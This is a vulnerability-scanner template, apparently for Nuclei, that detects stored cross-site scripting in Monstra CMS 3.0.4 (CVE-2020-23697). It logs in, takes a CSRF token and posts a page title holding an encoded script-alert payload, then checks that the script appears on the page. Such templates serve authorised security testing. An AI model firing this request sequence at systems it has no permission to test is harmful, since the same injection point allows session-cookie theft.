2023-01-10 05:49:47 +00:00
id : CVE-2020-23697
info :
2023-02-01 16:32:32 +00:00
name : Monstra CMS 3.0.4 - Cross-Site Scripting
2023-01-10 05:49:47 +00:00
author : ritikchaddha
severity : medium
description : |
2023-02-01 16:32:32 +00:00
Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the page feature in admin/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2023-01-10 05:49:47 +00:00
reference :
- https://github.com/monstra-cms/monstra/issues/463
- https://nvd.nist.gov/vuln/detail/CVE-2020-23697
classification :
2023-01-18 08:35:45 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score : 5.4
2023-01-10 05:49:47 +00:00
cve-id : CVE-2020-23697
2023-01-18 08:35:45 +00:00
cwe-id : CWE-79
2023-01-10 05:49:47 +00:00
metadata :
2023-01-18 08:35:45 +00:00
verified : "true"
2023-01-10 05:49:47 +00:00
tags : cve,cve2020,xss,mostra,mostracms,cms,authenticated
variables :
string : "{{to_lower('{{randstr}}')}}"
requests :
- raw :
- |
POST /admin/index.php?id=dashboard HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
login={{username}}&password={{password}}&login_submit=Log+In
- |
GET /admin/index.php?id=pages&action=add_page HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
- |
POST /admin/index.php?id=pages&action=add_page HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
csrf={{csrf}}&page_title=%22%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_name={{string}}&page_meta_title=&page_keywords=&page_description=&pages=0&templates=index&status=published&access=public&editor=test&page_tags=&add_page_and_exit=Save+and+Exit&page_date=2023-01-09+18%3A22%3A15
- |
GET /{{string}} HTTP/1.1
Host : {{Hostname}}
cookie-reuse : true
matchers :
- type : dsl
dsl :
- 'contains(all_headers_4, "text/html")'
- 'status_code_4 == 200'
- 'contains(body_4, "><script>alert(document.domain)</script>") && contains(body_4, "Monstra")'
condition : and
extractors :
- type : regex
name : csrf
part : body
group : 1
regex :
- 'id="csrf" name="csrf" value="(.*)">'
internal : true
2023-02-01 16:32:32 +00:00
# Enhanced by md on 2023/02/01